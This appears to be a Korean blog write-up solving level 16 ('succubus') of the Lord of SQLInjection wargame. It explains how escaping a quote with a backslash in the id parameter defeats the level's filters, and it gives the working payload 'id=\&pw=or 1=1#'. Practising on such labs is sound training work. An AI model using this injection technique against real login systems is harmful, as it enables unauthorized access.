본문 바로가기

#WarGame/Lord of SQLInjection

Lord of SQLInjection 16번 succubus

반응형

https://los.rubiya.kr/

 

Lord of SQLInjection

 

los.rubiya.kr

 

 

Lord of SQLInjection 16번 succubus

 

 

 if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
 if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
 if(preg_match('/\'/',$_GET[id])) exit("HeHe");
 if(preg_match('/\'/',$_GET[pw])) exit("HeHe");

 

 

필터링은 5가지가 있다.

1) prob

2) _

3) .

4) ()

5) '

 

이 중 싱글쿼터(')를 우회해야 하는 문제이다.

싱글쿼터 우회방법에는 백슬래시(\)를 사용할 수 있다.

백슬래시는 사용하면 뒤에 있는 싱글쿼터가 문자열로 인식하게 된다.

 

 

id=\로 입력하게 되면 쿼리는 다음과 같이 나온다.

query : select id from prob_succubus where id='\' and pw=''

id는 '\' and pw=' 가 된다.

id 값이 false 이므로 뒤에 or를 써서 true값을 만들어 주면 pw 없이 문제가 해결된다.

 

 

 

-->

php?id=\&%20pw=or%201=1%23

false or true ==> true

반응형